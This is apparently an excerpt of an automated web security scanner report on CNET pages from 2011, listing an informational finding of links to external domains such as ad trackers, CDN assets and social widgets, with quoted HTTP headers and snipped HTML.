http://www.cnet.com/8799-4_1-0.html?nomesh&appId=103

The response contains the following links to other domains:

http://cnet.custhelp.com/
http://i.i.com.com/cnwk.1d/i/tron/fbLoginBtn.jpg
http://legalterms.cbsinteractive.com/privacy
http://legalterms.cbsinteractive.com/terms-of-use

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:28:11 GMT
X-CNET-USER-COUNTRY: usa
Content-Language: en-US
Expires: Mon, 19 Sep 2011 19:28:12 GMT
Edge-Control: no-cache
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"
Cache-Control: no-cache
Content-Length: 23586

<div class="globalModal login yodaPopup wide">
<form class="login" action="/8750-4_1-0.html" method="post">
<div class="formHead clearfix">

...[SNIP]...
<p class="terms legalese">
I have read and agree to the CBS Interactive <a href="http://legalterms.cbsinteractive.com/terms-of-use" target="_new">Terms of Use</a> and <a href="http://legalterms.cbsinteractive.com/privacy" target="_new">Privacy Policy</a>
...[SNIP]...
</ol>
<a target="_new" href="http://cnet.custhelp.com" class="needHelp">Need help?</a>
...[SNIP]...
<a class="connect2fbButton"><img src="http://i.i.com.com/cnwk.1d/i/tron/fbLoginBtn.jpg" alt="Login with Facebook" /></a>
...[SNIP]...
<a class="authenticateFBbutton"><img src="http://i.i.com.com/cnwk.1d/i/tron/fbLoginBtn.jpg" alt="Connect with Facebook" /></a>
...[SNIP]...
<a class="connect2fbButton"><img src="http://i.i.com.com/cnwk.1d/i/tron/fbLoginBtn.jpg" alt="Login with Facebook" /></a>
...[SNIP]...
<p class="termsAgreeDetails">
I have read and agree to the CBS Interactive <a href="http://legalterms.cbsinteractive.com/terms-of-use" target="_new">Terms of Use</a> and <a href="http://legalterms.cbsinteractive.com/privacy" target="_new">Privacy Policy</a>
...[SNIP]...
<p class="termsAgreeDetails">
I have read and agree to the CBS Interactive <a href="http://legalterms.cbsinteractive.com/terms-of-use" target="_new">Terms of Use</a> and <a href="http://legalterms.cbsinteractive.com/privacy" target="_new">Privacy Policy</a>
...[SNIP]...
</div>

<a target="_new" href="http://cnet.custhelp.com" class="needHelp">Need help?</a>
...[SNIP]...
<p class="termsAgreeDetails">
I have read and agree to the CBS Interactive <a href="http://legalterms.cbsinteractive.com/terms-of-use" target="_new">Terms of Use</a> and <a href="http://legalterms.cbsinteractive.com/privacy" target="_new">Privacy Policy</a>
...[SNIP]...
</ol>
<a target="_new" href="http://cnet.custhelp.com" class="needHelp">Need help?</a>
...[SNIP]...
<a class="connect2fbButton"><img src="http://i.i.com.com/cnwk.1d/i/tron/fbLoginBtn.jpg" alt="Login with Facebook" /></a>
...[SNIP]...

12.3. http://www.cnet.com/internet-security/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/internet-security/

Issue detail

The page was loaded from a URL containing a query string:

http://www.cnet.com/internet-security/?tag=mncol;txt

The response contains the following links to other domains:

http://adlog.com.com/adlog/c/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=Wm@06AoOYJQAAFBVj6sAAACC/http:/reviews.cnet.com/showcase/samsung-televisions
http://adlog.com.com/adlog/c/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501277&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=Wm@06AoOYJQAAFBVj6sAAACC/http:/reviews.cnet.com/intel/
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=10/http:/reviews.cnet.com/2703-3121_7-507-5.html?key=samsung_notebook
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=11/http:/reviews.cnet.com/showcase/Samsung-monitors-and-printers/
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=12/http:/reviews.cnet.com/showcase/samsung-cameras-and-camcorders
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=7/http:/reviews.cnet.com/showcase/samsung-televisions
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=8/http:/reviews.cnet.com/showcase/Samsung-mobilephones/
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=Wm@06AoOYJQAAFBVj6sAAACC&event=9/http:/reviews.cnet.com/showcase/Samsung-bluray-and-home-theater/
http://adlog.com.com/adlog/i/r=11652&sg=1815&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=300&e=3&rqid=01phx1-ad-e20:4E77928B76CDC&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=19386&sg=1815&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=400&e=3&rqid=01phx1-ad-e16:4E7775E0326976&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=7627&sg=1815&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e17:4E7760EE51B0D4&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=8821&sg=537096&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F7807&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=8824&sg=537095&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e20:4E77757A339BC2&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501223&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=Wm@06AoOYJQAAFBVj6sAAACC/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.53&x-fid=1&r=19620&sg=501277&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=Wm@06AoOYJQAAFBVj6sAAACC/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.53&x-fid=1&r=19621&sg=501300&o=20%3a2023%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B8270&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=Wm@06AoOYJQAAFBVj6sAAACC/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://b.scorecardresearch.com/b?c1=2&c2=3000023&c3=&c4=&c5=&c6=&c15=&cv=1.3&cj=1
http://b.scorecardresearch.com/beacon.js
http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=3155804&PluID=0&w=300&h=250&ord=2011.09.19.19.28.53&ifrm=2&ucm=true&z=4000
http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=3155805&PluID=0&w=728&h=90&ord=2011.09.19.19.28.53&ifrm=2&ucm=true&z=4000
http://cbsiprivacy.custhelp.com/app/answers/detail/a_id/1272/
http://cnet.custhelp.com/
http://dw.com.com/clear/c.gif?ts=1316460533&im=mii1.4&edId=3&ptId=2735&onId=2023&sId=1&asId=693&astId=1&pgnbr=1&oid=2735-2023_1-693&pguid=Wm@06AoOYJQAAFBVj6sAAACC&ld=www.cnet.com&clgf=Cg5iUk48EJ/sAAAAd0Q&tcset=ISO-8859-1&title=Computer%20and%20Internet%20Security%20-%20CNET.com&srcUrl=http://www.cnet.com/internet-security/?tag%3Dmncol;txt&x_breadcrumb=20:2023&x_arw_bkts=mitSurvey&xref=http://news.cnet.com/security/&xrq=tag%3Dhdr;snav
http://dw.com.com/js/dw.js
http://i.i.com.com/cnwk.1d/Ads/common/adinfo_top.gif
http://i.i.com.com/cnwk.1d/Ads/common/manta/adFunctions-cnet.js
http://i.i.com.com/cnwk.1d/css/rb/Build/global/matrix.site1.css
http://i.i.com.com/cnwk.1d/css/rb/Build/print/print.css
http://i.i.com.com/cnwk.1d/css/rb/tron/features/computerSecurity/computerSecurity.css
http://i.i.com.com/cnwk.1d/html/pt/pt2.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/cbsnews/cbsnews.twitter.module.compressed.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/commerce/commerce.tron.computerSecurity.compressed.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/oreo.moo.rb.combined.js
http://i.i.com.com/cnwk.1d/i/tim/2009/05/15/shoppingcart_button_25.png
http://i.i.com.com/cnwk.1d/i/tim/2009/08/14/Foreman_10883662_8786_NIS_appicon_32x32.gif
http://i.i.com.com/cnwk.1d/i/tim/2010/01/22/fmimg3730653857126746103.png
http://i.i.com.com/cnwk.1d/i/tim/2010/01/22/fmimg7538914062044406667.png
http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png
http://i.i.com.com/cnwk.1d/i/tim/2010/07/15/BOL_LO~1_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2010/07/15/ReportersRoundtable_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2010/09/08/fmimg5975234224912014594_32x32.png
http://i.i.com.com/cnwk.1d/i/tim/2010/09/11/fmimg8215212947478227198_32x32.png
http://i.i.com.com/cnwk.1d/i/tim/2010/09/28/fmimg7323229873912961737_32x32.png
http://i.i.com.com/cnwk.1d/i/tim/2010/10/08/fmimg5489244884707300717.png
http://i.i.com.com/cnwk.1d/i/tim/2010/10/19/fmimg5067700247572349226_32x32.png
http://i.i.com.com/cnwk.1d/i/tim/2011/02/14/Norton_Cybercrime_Index_OVERVIEW_page2_image2_270x179.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/02/24/avast_6_main_270x205.png
http://i.i.com.com/cnwk.1d/i/tim/2011/02/28/norton_360_v5_1_install_270x182.png
http://i.i.com.com/cnwk.1d/i/tim/2011/05/25/BestofBOL_600x600_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/06/25/Avast_Prague_01_avast_logo_270x167.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/08/11/BlackHatDefcon.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/08/15/DialedIn_1280x1024_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/08/buzz_090811_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/09/TR_073_090911-720_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/13/Start_Screen_270x152.png
http://i.i.com.com/cnwk.1d/i/tim/2011/09/16/610POIprivacy_120x90.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/16/TR_074_091611-720_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/SecurityPrefsIconX_120x90.png
http://i.i.com.com/cnwk.1d/i/tron/features/computerSecurity/downloadEditors.jpg
http://legalterms.cbsinteractive.com/privacy
http://legalterms.cbsinteractive.com/terms-of-use
http://platform.twitter.com/widgets.js
http://secure-us.imrworldwide.com/cgi-bin/m?ci=us-304254h&cg=0&cc=1&ts=noscript
http://techrepublic.com.com/
http://twitter.com/cnet
http://www.bnet.com/
http://www.cbsinteractive.com/
http://www.cbsinteractive.com/adfeedback/?REDIRECT=TRUE&RGROUP=8821&SEGMENTID=537096&LINEID=428724&SP=16&ADVERTISERID=4573
http://www.cbsinteractive.com/adfeedback/?REDIRECT=TRUE&RGROUP=8824&SEGMENTID=537095&LINEID=428725&SP=6&ADVERTISERID=4573
http://www.cbsinteractive.com/info/eula
http://www.chow.com/
http://www.cnetchannel.com/
http://www.cnetnetworks.com/advertise/properties/international.html?
http://www.facebook.com/cnet
http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21
http://www.gamespot.com/
http://www.jdoqocy.com/click-3698865-10548974
http://www.linkedin.com/today/cnet.com
http://www.mysimon.com/
http://www.search.com/
http://www.tv.com/
http://www.twitter.com/%screenName%
http://www.youtube.com/user/CNETTV
http://www.zdnet.com/

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:28:53 GMT
Via: HTTP/1.0 phx1-rb-rev-app1.cnet.com:80 (cnwk.proxy.servlet.PathProxyServlet $Revision: 218012 $)
Content-Language: en-US
Expires: Mon, 19 Sep 2011 19:34:53 GMT
Cache-Control: max-age=360, stale-if-error=86400
X-CNET-HEADERREMOVE: Cache-Control
X-CNET-HEADER-Cache-Control: max-age=360
Content-Type: text/html; charset=UTF-8
Set-Cookie: arrowSSRefUrl=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3Daf0120deeded27b102ec0d26; domain=.cnet.com; path=/; expires=Mon, 19-Sep-2011 19:58:53 GMT
Set-Cookie: arrowLrps=1312564961707:1312559263357; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:53 GMT
Set-Cookie: arrowLat=1316460533108; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:53 GMT
Set-Cookie: arrowSpc=7; domain=.cnet.com; path=/; expires=Wed, 19-Oct-2011 19:28:53 GMT
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"
Content-Length: 62756

<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">

<head> <title>Computer
...[SNIP]...
<meta property="og:site_name" content="CNET"/> <link type="text/css" rel="stylesheet" media="screen" href="http://i.i.com.com/cnwk.1d/css/rb/Build/global/matrix.site1.css"/> <link type="text/css" rel="stylesheet" media="print" href="http://i.i.com.com/cnwk.1d/css/rb/Build/print/print.css"/> 
...[SNIP]...
</script> <script type="text/javascript" src="http://i.i.com.com/cnwk.1d/html/rb/js/tron/oreo.moo.rb.combined.js"></script>
...[SNIP]...
<![endif]--> <script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
<meta name="description" content="Come to CNET.com for the latest computer and Internet security news, product reviews, blog posts and opinions from CNET editors."/> <link href="http://i.i.com.com/cnwk.1d/css/rb/tron/features/computerSecurity/computerSecurity.css" rel="stylesheet" rev="stylesheet" /> <script type="text/javascript" src="http://i.i.com.com/cnwk.1d/html/rb/js/tron/commerce/commerce.tron.computerSecurity.compressed.js"></script>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=7627&sg=1815&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e17:4E7760EE51B0D4&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" /> <script type="text/javascript" src="http://dw.com.com/js/dw.js"></script>
...[SNIP]...
</script> <script type="text/javascript" src="http://i.i.com.com/cnwk.1d/Ads/common/manta/adFunctions-cnet.js"></script>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=11652&sg=1815&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=300&e=3&rqid=01phx1-ad-e20:4E77928B76CDC&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" />
...[SNIP]...
 <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:120px; height:21px;" allowTransparency="true"></iframe>
...[SNIP]...
<div id="overgif_537095" style="text-align:center;"><a href="http://www.cbsinteractive.com/adfeedback/?REDIRECT=TRUE&RGROUP=8824&SEGMENTID=537095&LINEID=428725&SP=6&ADVERTISERID=4573" target="new"><img src="http://i.i.com.com/cnwk.1d/Ads/common/adinfo_top.gif" width="50" height="10" border="0" alt="advertisement" /></a>
...[SNIP]...
<center><iframe src="http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=3155805&PluID=0&w=728&h=90&ord=2011.09.19.19.28.53&ifrm=2&ucm=true&z=4000" width="728" height="90" marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no bordercolor="#000000">
</iframe><img src="http://adlog.com.com/adlog/i/r=8824&sg=537095&o=20%253a2023%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2735&nd=2023&pid=&cid=693&pp=100&e=3&rqid=00phx1-ad-e20:4E77757A339BC2&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=news.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=Wm@06AoOYJQAAFBVj6sAAACC&t=2011.09.19.19.28.53/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" /></center>
...[SNIP]...
<li id="tweetTemplate"> <a href="http://www.twitter.com/%screenName%" class="twitterThumb"><img noluke="true" alt="security-center">
...[SNIP]...
<div><a href="http://www.twitter.com/%screenName%" class="twitterName">%screenName%:</a>
...[SNIP]...
</div>
<script type="text/javascript" src="http://i.i.com.com/cnwk.1d/html/rb/js/tron/cbsnews/cbsnews.twitter.module.compressed.js"></script>
...[SNIP]...
<div class="promoImage"> <img src="http://i.i.com.com/cnwk.1d/i/tim/2011/08/11/BlackHatDefcon.jpg" alt="Missed out on Black Hat or DefCon? Catch up with CNET " /> <div class="overlay">
...[SNIP]...
<a href="http://reviews.cnet.com/8301-13727_7-20108261-263/os-x-lion-passwords-can-be-changed-by-any-local-user/"><img src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/SecurityPrefsIconX_120x90.png" alt="OS X Lion passwords can be changed by any local user" /></a>
...[SNIP]...
<a href="http://news.cnet.com/8301-1009_3-20106876-83/privacy-at-risk-whos-watching-you-roundup/"><img src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/16/610POIprivacy_120x90.jpg" alt="Privacy at risk: Who's watching you? (roundup)" /></a>
...[SNIP]...
<li class="thumb video" videoId=50111649> <img alt="Ep. 92: The quantified self and the healthy body" src="http://i.i.com.com/cnwk.1d/i/tim//2010/07/15/ReportersRoundtable_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111634> <img alt="Dyson Hot: Central heating killer?" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/16/TR_074_091611-720_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111574> <img alt="Ep. 191: Jelly Bean? We prefer Jelly Donut" src="http://i.i.com.com/cnwk.1d/i/tim/2011/08/15/DialedIn_1280x1024_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111505> <img alt="Ep. 1552: Facebook comes full circle" src="http://i.i.com.com/cnwk.1d/i/tim//2010/07/15/BOL_LO%7E1_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111442> <img alt="Ep. 1551: We all spend way too much time on Facebook" src="http://i.i.com.com/cnwk.1d/i/tim//2010/07/15/BOL_LO%7E1_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111236> <img alt="Ep. 16: XXX shakedown, Yahoo CEO fired, and Netflix restrictions" src="http://i.i.com.com/cnwk.1d/i/tim/2011/05/25/BestofBOL_600x600_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111231> <img alt="Ep. 91: How the 9/11 attacks changed technology forever" src="http://i.i.com.com/cnwk.1d/i/tim//2010/07/15/ReportersRoundtable_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111224> <img alt="Motorola Droid Bionic: We have the technology" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/09/TR_073_090911-720_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111208> <img alt="Ep. 1549: Bartz puts $10 million in the swear jar" src="http://i.i.com.com/cnwk.1d/i/tim//2010/07/15/BOL_LO%7E1_88x66.jpg"> <h3>
...[SNIP]...
<li class="thumb video" videoId=50111162> <img alt="Droid Bionic: iPhone 5 crusher?" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/08/buzz_090811_88x66.jpg"> <h3>
...[SNIP]...
<div class="downloadProduct"> <img src="http://i.i.com.com/cnwk.1d/i/tim/2010/10/08/fmimg5489244884707300717.png" alt="ZoneAlarm Free Firewall" /> <div class="downloadSpecs">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png" alt="Download"/><a href="">
...[SNIP]...
<div class="downloadProduct"> <img src="http://i.i.com.com/cnwk.1d/i/tim/2010/09/28/fmimg7323229873912961737_32x32.png" alt="CCleaner" /> <div class="downloadSpecs">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png" alt="Download"/><a href="">
...[SNIP]...
<div class="downloadProduct"> <img src="http://i.i.com.com/cnwk.1d/i/tim//2010/01/22/fmimg3730653857126746103.png" alt="RoboForm" /> <div class="downloadSpecs">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png" alt="Download"/><a href="">
...[SNIP]...
<div class="downloadProduct"> <img src="http://i.i.com.com/cnwk.1d/i/tim/2010/10/19/fmimg5067700247572349226_32x32.png" alt="Trend Micro HijackThis" /> <div class="downloadSpecs">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png" alt="Download"/><a href="">
...[SNIP]...
<div class="downloadProduct"> <img src="http://i.i.com.com/cnwk.1d/i/tim//2010/09/08/fmimg5975234224912014594_32x32.png" alt="Norton AntiVirus 2012" /> <div class="downloadSpecs">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png" alt="Download"/><a href="">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2009/05/15/shoppingcart_button_25.png" alt="Buy Now"/><a href="http://www.jdoqocy.com/click-3698865-10548974">Buy Now</a>
...[SNIP]...
<div class="downloadProduct"> <img src="http://i.i.com.com/cnwk.1d/i/tim//2010/09/11/fmimg8215212947478227198_32x32.png" alt="PC Tools AntiVirus Free" /> <div class="downloadSpecs">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png" alt="Download"/><a href="">
...[SNIP]...
<div class="downloadProduct"> <img src="http://i.i.com.com/cnwk.1d/i/tim//2010/01/22/fmimg7538914062044406667.png" alt="ThreatFire AntiVirus Free Edition" /> <div class="downloadSpecs">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png" alt="Download"/><a href="">
...[SNIP]...
<div class="downloadProduct"> <img src="http://i.i.com.com/cnwk.1d/i/tim//2009/08/14/Foreman_10883662_8786_NIS_appicon_32x32.gif" alt="Norton Internet Security 2012" /> <div class="downloadSpecs">
...[SNIP]...
</div> <img width="16" src="http://i.i.com.com/cnwk.1d/i/tim/2010/03/01/download_favicon.png" alt="Download"/><a href="">
...[SNIP]...
<div id="overgif_537096" style="text-align:center;"><a href="http://www.cbsinteractive.com/adfeedback/?REDIRECT=TRUE&RGROUP=8821&SEGMENTID=537096&LINEID=428724&SP=16&ADVERTISERID=4573" target="new"><img src="http://i.i.com.com/cnwk.1d/Ads/common/adinfo_top.gif" width="50" height="10" border="0" alt="advertisement" /></a>
...[SNIP]...
